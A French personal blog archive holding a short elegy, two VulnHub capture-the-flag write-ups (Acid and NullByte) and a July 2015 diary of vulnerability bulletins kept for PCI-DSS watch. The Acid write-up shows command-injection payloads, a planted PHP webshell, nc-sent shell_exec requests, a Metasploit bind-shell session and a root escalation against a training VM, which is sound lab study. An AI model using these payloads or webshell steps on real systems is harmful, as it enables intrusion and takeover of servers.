mercredi 16 décembre 2015

Comme à chaque fois que Noël revient - Tu nous manques

Que s'éloigne la passion
qui laisse, pour le pire,
s'enfuir tous les rires
qui blessent la raison.

Que s'estompe l'absence,
qui laisse mon âme hantée
de joies inexplorées
qui blessent le silence.

Que s'efface ma haine
qui laisse plein de douleur
mon coeur si lourd de pleurs
qui blessent mon âme en peine.

Pourquoi m'as tu quittée, j'avais tant à te dire.
C'est dur, si tu savais, de garder le sourire.

Jess - la vie est poésie

jeudi 20 août 2015

Challenge estival - Acid et VulnHub, Enquête au Royaume des Fées

Avertissement : j'explique dans cet article les méthodes que j'ai utilisées pour réaliser ce challenge - ne lisez donc pas ce qui suit si vous souhaitez le faire sans indice :-)


Après avoir joué avec grand plaisir avec le challenge NullByte proposé par @ly0nx, je me lance dans le tout nouveau challenge @vulnhub : le challenge Acid Server proposé par @m_avinash143 sans indication sur le niveau d'expertise requis mais avec l'information "This Virtual Machine is completely web based".

Il était une fois


Il était une fois un joyeux ménestrel nommé @m_avinash143 qui au retour d'un voyage dans les Mondes Enchantés décida d'ouvrir une porte vers le Royaume des Fées. Décidant à mon tour d'arpenter ces féériques contrées, je me met en chasse de la première porte avec un sortilege nmap qui échoue. J'améliore mon sort nmap vers le niveau 1 à 65535 et la porte 33447/TCP s'illumine.
root@kali:~# nmap -sT -A 192.168.80.133 -p 33447 
[...]
PORT      STATE SERVICE VERSION
33447/tcp open  http    Apache httpd 2.4.10 ((Ubuntu))
|_http-server-header: Apache/2.4.10 (Ubuntu)
|_http-title: /Challenge


Wow


En examinant avec attention le chambranle de cette première porte, je constate une ligne de runes qui scintille de poussière de fée.. wow..
"<!--0x643239334c6d70775a773d3d-->"
root@kali:~# printf "%b\n" \\x64\\x32\\x39\\x33\\x4c\\x6d\\x70\\x77\\x5a\\x77\\x3d\\x3d
root@kali:~# echo -n "d293LmpwZw==" | base64 -d
wow.jpg
Je contemple pensivement cette image "wow.jpg" et comprend ainsi qu'un indice nous a été laissé sous la forme d'une suite de runes MD5 correspondant au mot de passe "63425".. bien bien.. me voilà bien avancée..
root@kali:~/Desktop# strings wow.jpg | tail -n 1
;37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34
root@kali:~/Desktop# (IFS=':' ; printf "%b" $(strings wow.jpg | tail -n 1 | sed 's/;/\\\x/g;s/:/:\\\x/g;'); echo)
root@kali:~/Desktop# echo 7aee0f6d588ed9905ee37f16a7c610d4 > john.txt
root@kali:~/Desktop# gunzip /usr/share/wordlists/rockyou.txt.gz
root@kali:~/Desktop# /usr/sbin/john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt john.txt
63425            (?)
Je tente également ma chance sur l'image "bg.jpg" mais sans grande conviction cette fois-ci hormis une suite de runes que je note sur mon parchemin pour la suite de l'aventure (trop de poudre de Fée peut-être).
root@kali:~/Desktop# strings bg.jpg  | grep 'u\*9'      
u*9:HIJXYZghijvwxyz
Après une heure de recherche je l'avoue je suis un peu bloquée... J'ai un mot de passe (?) mais pas la Fée à laquelle il correspond et aucune porte d'authentification. Mis à part croiser les doigts pour qu'un sortilège dirbuster me débloque je ne vois pas trop quoi faire..

/Challenge


Je lance mon sortilège dirbuster à l'aide d'un petit grimoire listant les répertoires, fichiers et autres extensions ".php" propres à ces incantations :


.. une demi-heure à attendre.. Je ne connais pas la question mais augmenter la puissance de mon sortilège à 42 volumes de thread me parait être une bonne réponse.. Huit minutes.. c'est plus raisonnable..


.. et là énorme sourire, la seconde porte d'entrée url au Royaume des Fées ("/Challenge") - tête de linotte que je suis - est écrite en indice flagrant comme "title" sur la porte d'accueil ("parlez, ami, et entrez") et je suis totalement passée à côté :-).


/Welcome to hell


J'étudie avec attention cette nouvelle porte d'authentification et note précieusement tous les indices sur mon grimoire au fur et à mesure : la page "js/forms.js" m'indique "Copyright (C) 2013 peredur.net", le titre de la page est "Secure Login: Log In". J'ouvre donc mon sac à main et extrait mon encyclopédie de recherche préférée..


.. qui me renseigne au chapitre Github.com sur une application qui semble correspondre à celle qui m'accueille actuellement et après quelques sommaires comparaisons je finis par tomber sur la bonne nouvelle suivante à la fin du chapitre readme :-)


 .. mot de passe par défaut que je m'empresse donc d'employer pour ouvrir cette nouvelle porte !


/Challenge - LFI


Je "proceed further" comme il m'est proposé et la porte suivante

 
.. présente une faille LFI étudiée, il me semble, en première année du cursus de la Guilde des Fées.


Je renseigne à nouveau cette information dans mon grimoire et retourne à mon sortilège dirbuster.

/Cake


Pas mal du tout pour un sortilège dirbuster invoqué "gentiment". Je consulte tout de même les autres artefacts que celui-ci a identifié et, chat échaudé craignant l'eau froide, constate immédiatement que les runes du chambranle de cette nouvelle porte "cake.php" ("/Magic_Box") sont probablement un nouvel indice :


.. et là ca vaut bien le coup de lancer à nouveau un sortilège dirbuster :-)


/Magic_Box


Ces sortilèges dirbuster me sont décidément bien utiles et une porte prénommée "command.php" vaut bien un détour..


 .. et une incantation d'injection standard en croisant les doigts : "127.0.0.1;id" :


Après la faille LFI précédente, je peux donc m'introduire dans le Royaume des Fées sous l'identité de la Fée "www-data" :-)

Mon entrée dérobée au Royaume des Fées


J'entre furtivement dans le Royaume des Fées en me téléportant dans l'une des résidences ("127.0.0.1;pwd" m'indique "/var/www/html/Challenge/Magic_Box") et vérifie si le silence des alentours témoigne d'une activité secrète ou d'une plaine sinistre et désolée  ("127.0.0.1;ls -l /var/www/html/Challenge/") et je note le répertoire "js" (@Nathplanteur :-D) en 777 qui témoigne d'une Fée bien peu attentionnée.

 
J'utilise un charme de reconnaissance pour localiser les clés des Maitresses Fées Gardiennes du Royaume ("127.0.0.1;find / -perm -4000 -ls") et constate que toutes les clés sont d'antiques artefacts de pouvoir qui semblent impossibles à contrôler.


J'utilise la résidence de la Fée JS pour déposer un charme d'empreinte du Royaume ("127.0.0.1;echo "<?php echo "ok"; phpinfo(); ?>" > /var/www/html/Challenge/js/jess.php")..


 .. et améliore mon charme pour accéder plus facilement au Royaume des Fées..


.. en vérifiant que mon charme supporte l'ancienne magie du fameux grimoire metasploit si celui-ci peut m'être d'une quelconque utilité pour la suite de mon aventure..


Enquête au Royaume des Fées


Je peux désormais arpenter à ma convenance le Royaume à la recherche d'une clé d'une Maitresse Fée et après quelques minutes de pérégrination constate que le Royaume fait l'objet d'une intrusion et que les Maitresses Fées tentent de contenir cet assaillant !


Poursuivant mon enquête, je constate que le Maléfique Sorcier est dénommé "saman" aka "1337hax0r" et qu'il n'a semble-t-il pas laissé de trace de son méfait. Mais les Maitresses Fées sont sur sa piste et discutent ("hint.pcapng") de sa capture.
CMD="ls -la /home"
total 16
drwxr-xr-x  4 root  root  4096 Aug  7 17:48 .
drwxr-xr-x 23 root  root  4096 Aug  8 11:00 ..
drwxr-xr-x 17 acid  acid  4096 Aug  8 11:47 acid
drwxr-xr-x  2 saman saman 4096 Aug  7 18:07 saman

CMD="find / -uid 1001 -ls"

CMD="find /sbin/ -uid 1000 -ls"
930316  800 -rwxr--r--   1 acid     acid       818744 Aug  7 16:09 /sbin/raw_vs_isi/hint.pcapng
root@kali:~# cd /tmp/ && wget http://192.168.80.134:33447/Challenge/js/hint.pcapng
root@kali:/tmp# file hint.pcapng
hint.pcapng: pcap-ng capture file - version 1.0
root@kali:/tmp# tcpdump -evXln -r hint.pcapng tcp | less
        0x0030:  000a 6db0 7361 6d61 6e20 616e 6420 6e6f  ..m.saman.and.no
        0x0040:  7720 6120 6461 7973 2068 6527 7320 6b6e  w.a.days.he's.kn
        0x0050:  6f77 6e20 6279 2074 6865 2061 6c69 6173  own.by.the.alias
        0x0060:  206f 6620 3133 3337 6861 7830 720a       .of.1337hax0r.
Je me repose un instant pour faire le point sur les indices à ma disposition pour trouver à mon tour un moyen d'accéder aux secrets du Royaume. J'ai donc une incantation "63425" dont je ne connais pas l'usage mais peut être pourrait-il me servir à obtenir les pouvoirs de la Fée Acid voir même de prendre l'apparence du Sorcier Saman le Maléfique ?

Je récite l'incantation "63425" pour prendre le contrôle des pouvoirs du Sorcier Saman mais le Royaume m'en interdit l'accès :-(
root@kali:/tmp# echo -en '#!/bin/sh\necho start\n/usr/bin/id\necho 63425 | /bin/su saman -c 'id' 2>&1\necho stop\n' | base64
[BASE64]
root@kali:/tmp# CMD="echo '[BASE64]' > /tmp/jess.b64" && echo -en "GET /Challenge/js/jess.php?shell_exec=$(echo $CMD | tr ' ' '+') HTTP/1.0\r\n\r\n" | nc 192.168.80.134 33447
root@kali:/tmp# CMD="/tmp/jess.sh" && echo -en "GET /Challenge/js/jess.php?shell_exec=$(echo $CMD | tr ' ' '+') HTTP/1.0\r\n\r\n" | nc 192.168.80.134 33447

start
uid=33(www-data) gid=33(www-data) groups=33(www-data)
su: must be run from a terminal
stop
Qu'à cela ne tienne, je perfectionne mon charme pour que le Royaume me laisse entrer :
cat > jess.code << EOF
#!/bin/sh
/usr/bin/id
echo start
(sleep 1; echo 63425) | python -c "import pty; pty.spawn(['/bin/su','saman','-c','whoami']);"
echo stop
EOF

uid=33(www-data) gid=33(www-data) groups=33(www-data)
start
Password:
su: Authentication failure
stop
.. Bon mon charme est effectif mais l'incantation "63425" ne me permet pas d'utiliser les pouvoirs du Sorcier Saman ou de la Féé Acid ou même d'accéder au contrôle temporel de la Maitresse Fée Root Gardienne du Royaume des Fées. Je tente ma chance avec quelques mystères obtenus lors de ma visite de la résidence "/var/www/html/Challenge/" : "VXNlcnMudHh0", "zbp.yvnzt@qvpn", "Y0dGemN5NTBlSFE9" et "__341xnurZ" mais ces tentatives échouent à nouveau.

.. Essayons à nouveau mais avec mon fameux grimoire Metasploit et une incantation Meterpreter..
root@kali:~# msfconsole
msf > use exploit/unix/webapp/php_eval
msf exploit(php_eval) > set RHOST 192.168.80.134
msf exploit(php_eval) > set RPORT 33447
msf exploit(php_eval) > set URIPATH /Challenge/js/jess.php?eval=!CODE!
msf exploit(php_eval) > set PAYLOAD php/bind_php
msf exploit(php_eval) > exploit

[*] Sending request for: http://192.168.80.134:33447/Challenge/js/jess.php?eval=error_reporting%280%29%3beval%28%24_SERVER%5bHTTP_X_SYSJDWXXZMJGDDQO%5d%29%3b
[*] Payload will be in a header called X-SYSJDWXXZMJGDDQO
[*] Started bind handler
[*] Command shell session 1 opened (192.168.178.134:33883 -> 192.168.80.134:4444)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^Z
Background session 2? [y/N]  y
msf exploit(php_eval) > sessions -u 2
msf exploit(php_eval) > sessions -i

Active sessions
===============

  2   shell php
  3   meterpreter x86/linux  uid=33, gid=33, euid=33, egid=33, suid=33, sgid=33 @ acid 

msf exploit(php_eval) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > shell
Process 2191 created.
Channel 9 created.
/bin/sh: 0: can't access tty; job control turned off

$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@acid:/var/www/html/Challenge/js$

Après plusieurs heures à me battre désespérément contre des fantômes dans une plaine désertique et noircie par l'intrusion du Sorcier Saman le Maléfique pour identifier une escalade de privilèges valide sur cette version Ubuntu/Vivid du Royaume (dont le fameux bug #1447396 découvert par l'Enchanteur Tavis Ormandy ou l'exploit 37292 OFS - overlayfs chanté par le troubadour Rebel)


.. j'en suis rendue à l'évidence.. L'antique secret Root du Royaume des Fées demeure hors de ma portée. Qu'à cela ne tienne, je ne suis certainement pas la seule dans cette situation donc je brise le sceau d'un parchemin d'aide Twitter : "@unl1k3ly any hint-nospoil for me to step up from www-data? I'm lost in the Fairy Kingdom :'( CC ".

Les Maîtres du Royaume des Fées


Mon parchemin d'aide ne reste pas longtemps sans réponse et le joyeux ménestrel @m_avinash143 me recommande la saine lecture des comptes-rendus d'enquête publiés par les Maîtres du Royaume des Fées @g0blinresearch et Makman dans le Grand Recueil Magique @VulnHub.


A la lecture de ces comptes-rendus, je me rend compte que je suis tout simplement passée à côté d'un second indice "parlez, ami, et entrez" : le mot de passe "1337hax0r" de Saman le Sorcier Maléfique était connu des Maitresses Fées et celles-ci en parlaient dans l'échange "hint.pcapng" :'(

meterpreter > shell
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@acid:/var/www/html/Challenge/js$ su - saman
su - saman
Password: 1337hax0r

saman@acid:~$ sudo -i
sudo -i
[sudo] password for saman: 1337hax0r

  ____                            _         _       _   _                
 / ___|___  _ __   __ _ _ __ __ _| |_ _   _| | __ _| |_(_) ___  _ __  ___
| |   / _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \/ __|
| |__| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
 \____\___/|_| |_|\__, |_|  \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
                  |___/                                                  
root@acid:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@acid:~# cat flag.txt
cat flag.txt


Dear Hax0r,


You have successfully completed the challenge.

I  hope you like it.


FLAG NAME: "Acid@Makke@Hax0r"


Kind & Best Regards

-ACID
facebook: https://facebook.com/m.avinash143

Conclusion


En conclusion, ce challenge Acid est tout simplement délicieux et malgré une pointe de déception liée à la frustration de ne pas être parvenue à le résoudre seule, je félicite chaleureusement le joyeux ménestrel @m_avinash143 pour cette aventure, l'équipe @VulnHub pour tous ces challenges et les deux Maîtres du Royaume des Fées @g0blinresearch et Makman dont j'ai lu avec attention les comptes-rendus d'enquête .

Et quant à moi j'ai passé quelques soirées féériques absolument délicieuses au Royaume des Fées.

Jess - @JessicaGallante

mardi 18 août 2015

Challenge estival - NullByte et VulnHub, Sérénité et Harmonie

Avertissement : j'explique dans cet article les méthodes que j'ai utilisées pour réaliser ce challenge - ne lisez donc pas ce qui suit si vous souhaitez le faire sans indice :-)

Quoi de plus pratique qu'un challenge estival pour tester l'installation de ma nouvelle <3 Kali 2.0 <3 ? J'avais beaucoup aimé mon premier challenge #Darknet @vulnhub et décide donc de jouer à nouveau avec les épreuves proposées en regardant les pré-requis pour le nouveau NullByte proposé par @ly0nx : Niveau "Basic to intermediate" et commentaire "Hints: Use your lateral thinking skills, maybe you’ll need to write some code" me convenant tout à fait, je télécharge donc la machine virtuelle et me met au travail.

Les lois de l'harmonie



L'introduction à ce challenge que vous pouvez consulter sur le site de @vulnhub vous précise que vous devez jouer pour aller lire un fichier "/root/proof.txt".

Je me lance



Première étape, je scanne l'adresse IP avec mon scanner préféré et identifie trois ports TCP en écoute dont un serveur "SSH-2.0-OpenSSH_6.7p1 Debian-5" sur le port 777/tcp et un serveur web sur le port 80/tcp avec une simple image et un commentaire sibyllin.


Bon..  Un scan de port de 1 à 65535 ne m'apportant pas plus d'information et n'ayant pas d'exploit dans mon sac à main pour Apache ou OpenSSH, je pense qu'une énumération des répertoires web potentiellement disponibles est nécessaire.


re bon.. J'ai semble-t-il un répertoire "uploads" à ma disposition qui me permettra peut être de monter un code approprié pour autant que je sache comment y accéder.. Faisons donc un tour sur mon moteur de recherche préféré au cas où l'image fournie recèlerait un indice quelconque.


Après une dizaine de minutes à chercher sans succès des indices, je jette un coup d'oeil à mon dirbuster qui me trouve une application "phpmyadmin".. d'accord, pertinent mon Fernand mais je n'ai pas non plus d'exploit pour cette application et je ne vais pas attendre 146 ans (oui oui) de recherche par force brute.. Je retourne donc me perdre dans les méandres de l'Internet en tentant de rapprocher stéganographie et Kali et sans la moindre certitude d'avancer ou non dans une impasse..

Après une longue heure et de nombreuses tentatives sans succès à jouer avec cette image, une chaine de caractères que j'ai bien du lire une centaine de fois attire enfin mon attention juste après le tag GIF89a : "P-): kzMb5nVYJw". Je debase64/debase64(inverse()) sans succès, je tente ma chance comme mot de passe pour un utilisateur root sur le serveur ssh mais finalement la solution est bien plus simple p-) :-)


Par l'hydraforce ..


Le formulaire qui nous est offert présente un indice bienvenue et après quelques tentatives Hydra avec les dictionnaires usuels fournis par la Kali..


.. le dictionnaire "sqlmap.txt" me fournit le sésame attendu.


et par sqlmap (encore et toujours indispensable) ..


Que serait un challenge web sans injection SQL à tenter ..


.. sans base de données à dumper..


.. et sans empreinte de mot de passe à casser :-)


PHP(myadmin) ..


Retour à la case dirbuster initiale, j'ai un mot de passe root mysql et une interface phpmyadmin. Se pourrait-il que ?


.. un peu de curiosité n'a jamais fait de mal à personne ..


.. et l'avantage des hashs md5 comme mots de passe ..

(cette capture est totalement inutile bien entendu mais c'est tellement amusant)

.. et des services ssh ..


Et maintenant ..


Maintenant que j'ai un shell sur cette VM NullByte, partons à la recherche d'un moyen d'obtenir les privilèges "root". Ma première tentative (inspirée des quelques wargames OverTheWire que j'ai pu réaliser) consiste à identifier si des fichiers inhabituels disposent des bits setuid/setgid ..


.. et le cas échéant, à chercher si ceux-ci sont exploitables ..


.. et comme je n'ai pas mes strace/ltrace fétiches sur la VM NullByte, je récupère donc ce fichier "I have to fix this mess" sur ma Kali pour tenter de l'analyser ..


.. et après quelques tentatives jesstracesques, je pense comprendre comment fonctionne ce code ..


.. qui ressemble assez (en tout cas pour moi) à certains niveaux des wargames OverTheWire. Le code vulnérable appelle le binaire "ps" de manière relative (donc sur la base de l'environnement "PATH") et le fichier est setuid. Et comme je suis maitresse de ce chemin, je peux sans doute tromper ce binaire en lui faisant exécuter ma propre commande (en tout cas "c'est le plan" comme dirait Adrien ;-) ).


.. et mes privilèges étant désormais acquis il m'est possible d'aller lire le fameux fichier "/root/proof.txt" :



Conclusion


En conclusion ce challenge NullByte est véritablement amusant (avec une première étape assez compliquée à franchir si on ne regarde pas au bon endroit), une bonne partie des vulnérabilités génériques du monde du web s'y trouve représentée et ce challenge (en somme) est assez caractéristique de certains rapports de tests d'intrusion que @nathplanteur et moi relisons habituellement (pour le meilleur ou pour le pire :-|).

Merci ma jolie Nath qui ne dort jamais toujours pas ;-) et un grand merci @ly0nx pour votre support et vos encouragements en _live_ :-)

On prendra les froids, les brûlures en face
On interdira les tiédeurs
Des fumées, des alcools et des calmants cuirasses
Qui nous ont volé nos douleurs
La vérité nous fera plus peur
(Jean-Jacques Goldman - On ira)

Jess - @JessicaGallante



lundi 3 août 2015

Partir en Juillet ?

Un an déjà que je me demande s'il est préférable de partir en juillet et le temps passe et s'écoule mais rien ne change vraiment ici. Les mois d'été se ressemblent et s'enchainent mais de moins en moins calmes aussi. Les problèmes se compliquent (<3) et ce mois de juillet 2015 s'illumine dans un bingo d'artifice permanent d'incidents et de vulnérabilités à qualifier, corriger/contrôler et documenter et ce même si les informations qui nous sont transmises par ceux qui "devraient savoir" (au moins pour ceux que nous engageons pour ce faire) sont tronquées, imparfaites, incorrectes, en retard. Bref, si l'épice doit couler, alors le dormeur doit se réveiller.

TL;DR


Vous l'aurez compris, le mois de juillet 2015 est un mois bingo nous démontrant combien les Internet que nous connaissons sont fragiles. Mais ceci n'est pas l'essentiel (qui est invisible pour les yeux). L'essentiel  pour moi a été ce 14 juillet pendant lequel, avec un sourire emerveillé et les yeux clairs d'étoiles, le majestueux spectacle de la mission New Horizons vers Pluton a permis de concrétiser tant de rêves en ouvrant ainsi la voie à ce que tant d'autres soient désormais tissés.

TL;DR : Mon focus PCIDSS


Pour ceux d'entre vous qui êtes familiers avec le standard PCIDSS (merci à mes deux QSA pour la relecture <3), vous reconnaitrez sans-doute que le présent article est une base de travail bien utile pour couvrir le mois de juillet sur l'obligation de veille sur les menaces et vulnérabilités mentionnées dans le 7ème item de l'exigence 11.3 : "Includes review and consideration of threats and vulnerabilities experienced in the last 12 months". Bon courage à vous si vous en passez par là :-)

Une première semaine de juillet au calme


Mercredi 1er juillet. Il fait chaud. La canicule (.. ou vague de chaleur, est un phénomène météorologique de températures de l'air anormalement fortes, diurnes et nocturnes, se prolongeant de quelques jours à quelques semaines, dans une zone relativement étendue. [..] dont la définition est relative au climat de la région habitée). Merci Wikipedia et étrange comme cette définition semble correspondre exactement à l'histoire de ce mois-ci.

Mercredi 1er juillet donc. La semaine commence bien avec la publication par Apple de 6 bulletins le 30 juin 2015 : iOS, OS X 10.10 et la Security Update 2015-005, un bulletin MAC EFI, des corrections pour iTunes et QuickTime et une mise à jour Safari 6/7/8 (et comme diraient certains - coucou John - les correctifs Apple ne sont pas un problème, on s'assure que les sauvegardes passent régulièrement et on applique au bon moment dès que vous nous dites "go") accompagnés d'un bulletin Joomla le 30 juin 2015 informant de la correction de deux vulnérabilités CSRF mineures et de 6 bulletins TYPO3 type CORE-SA concernant des vulnérabilités mineures également.

Jeudi voit paraître treize bulletins Mozilla impactant Firefox (dont 4 MFSA critiques) et Thunderbird mais également une nouvelle version mineure Joomla qui n'est pas marquée comme publication sécurité mais qu'il convient de qualifier à nouveau en raison du faible délai depuis la mise à jour précédente :-(

Vendredi s'enclenche par la publication d'un patch Squid pour la version 3.5.6 (bulletin éditeur émis quelques jours plus tard) et d'un avertissement Twitter de la part de @nodejs informant qu'une mise à jour sécurité importante pour l'une de ses branches sera publiée sous peu.

Et le premier week-end de repos dominical de juillet débute avec la publication dudit bulletin NodeJS pour un déni de service en version 0.12 et se termine avec l'affaire (?), l'histoire (?), le problème (?) Hacking Team.

Une seconde semaine en prélude de notre 14 juillet


Lundi 6 juillet. Notre seconde semaine débute (en fanfare) avec un briefing hebdomadaire concentré sur l'adéquation de nos processus de qualification aux processus de mise en production afin de préparer en toute sérénité la publication du 14 juillet (Patch Tuesday Microsoft, CPU Oracle et probablement Adobe) et totalement déconcentré par les discussions autour de l'histoire Hacking Team.

Mardi débute mal avec les problèmes Hacking Team et l'information qu'une vulnérabilité dans Flash (CVE-2015-5119) est présente dans les données volées .. puis qu'elle est immédiatement intégrée dans les exploit kits (bref partout .. merci en passant au remarquable http://malware.dontneedcoffee.com) .. puis que ceux-ci délivrent du Cryptolocker.. No comment.

Côté Google, une mise à jour est publiée pour Chrome semblant corriger la vulnérabilité Flash mais  le bulletin correspondant est mystérieusement silencieux à ce sujet (comparez donc les bulletins du 7 juillet et du 14 juillet à ce propos) ce qui n'aide pas à interpréter le bulletin prévisionnel APSA15-03 de Adobe précisant qu'une mise à jour pour Flash sera disponible le 8 juillet.

Ne passons pas à côté du bulletin AA-01267 pour Bind9 (CVE-2015-4620) (Debian, Ubuntu, FreeBSD) ou de la mise à jour du bulletin PowerDNS du 23 avril (CVE-2015-1868).

Mercredi démarre sur les chapeaux de roues avec la publication attendue du bulletin Adobe APSB15-16 Flash (CVE-2015-5119 et coup de chapeau à N. Silvanovich du Google Project Zero créditée de 14 CVE) et de la mise à jour du Security Advisory Microsoft 2755801 sur Flash pour IE10/IE11. C'est ensuite au tour de Django dans le monde du Web x.0 de publier des bulletins de sécurité pour ses versions 1.4/1.7/1.8 et de Juniper de publier 11 bulletins. N'oublions pas la nouvelle version de LibreSSL qui précise "#SSLv3 not removed yet but should happen soon" (nous sommes donc prévenus) ou la pré-notification Adobe qui nous informe que des mises à jour sécurité critiques pour le 14 juillet concerneront Adobe Reader.

Jeudi démarre laborieusement avec le bulletin OpenSSL secadv_20150709 (CVE-2015-1793) : NodeJS publie une nouvelle version, FreeBSD confirme aussi qu'une version précise est corrigée et GitLab publie de nouveaux packages. Mais on semble loin du big one de l'année passée car la majeure partie des éditeurs semblent confirmer que leurs produits ne sont pas concernés (OpenSSL 0.9.8, LibreSSL Debian, Ubuntu, RedHat, Chef, Vmware). Et.. Et le cycle des nouveaux bulletins à analyser continue encore et encore avec la publication d'un bulletin Vmware.

Ce jeudi nous sert également de témoin pratique permettant de vérifier en étape complémentaire que les bulletins éditeurs de la semaine précédente sont publiés par les distributions finales : Ubuntu publie ainsi son bulletin Firefox pour le bulletin Mozilla du 2 juillet ou que d'autres bulletins font l'inverse (exemple : RedHat RHSA-2015-1218/1219).

Et le jeudi 9 juillet c'est aussi le lancement prometteur du Census Project par la Core Infrastructure Initiative.

Vendredi finit la semaine avec les analyses OpenSSL du 9 juillet de produits non vulnérables (BlueCoat, Cisco, F5) et se termine par une note twitter CentOS informant qu'aucune version Centos 5/6/7 n'est vulnérables au CVE-2015-1793 OpenSSL (multi-canal donc :-p). Et.. Et le cycle des nouveaux bulletins à analyser continue d'accord d'accord avec la publication de nouvelles versions de PHP entre le 9 et le 10 juillet (5.4/5.5/5.6).

Et sur un autre ton, ce vendredi 10 juillet fête aussi les 25 ans de l'Electronic Frontier Foundation et la démission de K. Archuleta, Directrice de l'Office of Personnel Management suite au communiqué du 9 juillet concernant une seconde data breach impactant 21,5 milion de personnes (SSN, biometrics, 1,1m fingerprints, ..) (les mots de passe ont donc encore de beaux jours devant eux .. ou pas).

Le second week-end de juillet s'ouvre avec les avertissements Pre-Release du 14 juillet pour Oracle qui nous informent par exemple que le CPU fixera à minima 25 vulnérabilités critiques dans JAVA (remote without authentication, CVSS v2 avec une note de 10) et l'histoire Hacking Team semble sans fin avec l'information que deux nouvelles vulnérabilités Adobe Flash sont présentes dans les données publiées (CVE-2015-5122 et CVE-2015-5123, mises à jour prévues semaine suivante?).

Et à contre-courant, Trend Micro publie un article concernant l'exploitation d'un 0day Java dans le cadre de la campagne dénommée PawnStorm (724 jours depuis le dernier 0day Java selon http://java-0day.com).

Le week-end se termine avec, jamais deux sans trois, une nouvelle information Adobe (APSA15-04 : CVE-2015-5123) précisant qu'une troisième mise à jour pour Flash sera disponible entre le 13 et le 14 juillet (et tels d'habiles félins nous retombons sur nos pattes pour la mobilisation des infortunés collaborateurs d'astreinte pour le 14 juillet !).

Éprouvante semaine. Pour les nerfs comme pour cet état de lassitude qui nous a tous saisis en pensant le dimanche soir à la nouvelle semaine qui s'annonçait.

Troisième semaine et feu d'artifice du 14 juillet


Lundi 13 juillet. Réunion de briefing hebdomadaire et confirmation des astreintes mais le principal sujet de la semaine concerne bien entendu les solutions qui s'offrent à nous concernant l'exposition des SI aux vulnérabilités Flash (et Java) avec l'écho plus ou moins constructif du CSO Facebook appelant à la fin de vie rapide de Flash pour tous les browsers.

Je note de mon côté à titre personnel une mise en perspective prémonitoire de @4Dgifts qui donne quelques éléments de réflexion sur les références ZDI actuellement en cours de ... aucune idée en fait :-) (ZDI-CAN-2619, ZDI-CAN-2693, ZDI-15-165, ZDI-14-102), je vous laisse regarder et vous faire votre avis.

Mardi. Feu d'artifice du patch tuesday. 
#Flash #Java & X jumping on the scene
Flash fell off & broke his head
Mama called the expert and he said
No more Flash jumping on the scene!
A tout seigneur tout honneur, Microsoft publie 14 bulletins dont 4 critiques et 10 importants (incluant la correction du CVE-2015-2425 Hacking Team) avec 29 CVE pour Internet Explorer 6/7/8/9/10/11 et des bulletins pour Office, Netlogon, RDP et Hyper-V.

Oracle publie quand à elle 193 correctifs de sécurité dont 10 correctifs pour les Database Server et 18 fixes pour Mysql, 21 fixes pour les systèmes Sun et 31 pour Solaris, 23 fixes pour Java avec la publication de la version 8u51 (incluant le "JDK-8077109 : Prohibit RC4 cipher suites").

Et Adobe fixe 46 vulnérabilités dans Adobe Reader (ce qui permet à Exodus Intelligence de communiquer sur leurs nouveaux 0day impactant la dernière version - à bon entendeur) mais également les deux CVE-2015-5122 et CVE-2015-5123 Hacking Team avec le bulletin APSB15-18.

Ce mardi 14 juillet c'est également la mise à jour de Chrome pour Flash (cette fois ci annoncée comme telle dans le bulletin) et la publication d'un Security Fix pour TCP par OpenBSD ou bien la fin de vie programmée de Windows 2003 ou encore la publication de l'article "The POODLE has friends" pour les produits F5 ou même la très jolie " NYSE shutdown caused by engineers loading wrong software to system ".

Mercredi. RC4 encore et toujours n'en finit pas de faire parler de lui avec la publication d'un nouvel article sur des attaques RC4NOMORE.

Jeudi. Le Google Project Zero publie un article significatif sur les mécanismes de sécurité intégrés par Adobe à la dernière version de Flash suite à leurs travaux communs. Cela signifie-t-il que le volume de vulnérabilités se réduira avec le temps ou que la complexité d'exploitation fera qu'un nouveau challenger prenne la place de Flash ? Peut-être faudrait-il abandonner simplement l'idée qu'un seul navigateur avec tous les plugins possibles et imaginables est la bonne solution ?

Et est également publiée ce jeudi une très intéressante étude (1.6Tb de données) concernant les "Dark Net Markets (DNM)" que je vous invite à consulter si vous ne l'avez déjà fait.

Troisième week-end de juillet. Un peu de repos mérité nous permettant de calmement enchainer les vérifications de mise en production sans nouvelle publication de fin du monde avec seulement quelques bulletins comme le bulletin Debian pour Mysql5.5 suite au CPU Oracle de la semaine par exemple.

Quatrième semaine calme, sereine, sans mauvaise nouvelle .. ou pas


Lundi 20 juillet : La semaine semble commencer calmement avec les habituels bulletins "retardataires" : Debian pour MariaDB sur les CPU Oracle de avril et de juillet, Java1.7 pour RedHat sur RHEL5 pour le CPU Oracle de juillet, Solaris pour le CVE-2015-1793 OpenSSL du 9 juillet (apparemment en retard sur le CPU Oracle de juillet), RedHat sur RHEL7/Bind pour le CVE-2015-4620 du 7 juillet et.. et.. la publication du patch hors cycle (OOB) MS15-078 de Microsoft (CVE-2015-2426) en amélioration du correctif MS15-077 de la semaine passée .. qui de notre côté et de guerre lasse est plutôt gérée comme un correctif standard qu'avec le son du tocsin nous martelant les sens et nous engourdissant l'esprit.

Mardi. Google publie une nouvelle version stable de Chrome incluant 43 correctifs de sécurité, FreeBSD corrige le CVE-2015-5358 et Trend Micro continue ses analyses sur les données Hacking Team en documentant un malware Android employé depuis 2012 (que de prémonitions ce mois-ci).

Jeudi. Nouvelle version de Wordpress, un bulletin BlueCoat SA100 qui adresse des vulnérabilités Tomcat corrigées en 2014 et 2015, un bulletin Zend et un bulletin Qualys pour les CVE-2015-3245 et CVE-2015-3246 (bulletins RHSA RHEL6/7 le même jour) accompagné d'un excellent fil de discussion à lire sur les notions de coordinated/responsible disclosure sur la ML OSS-SEC.

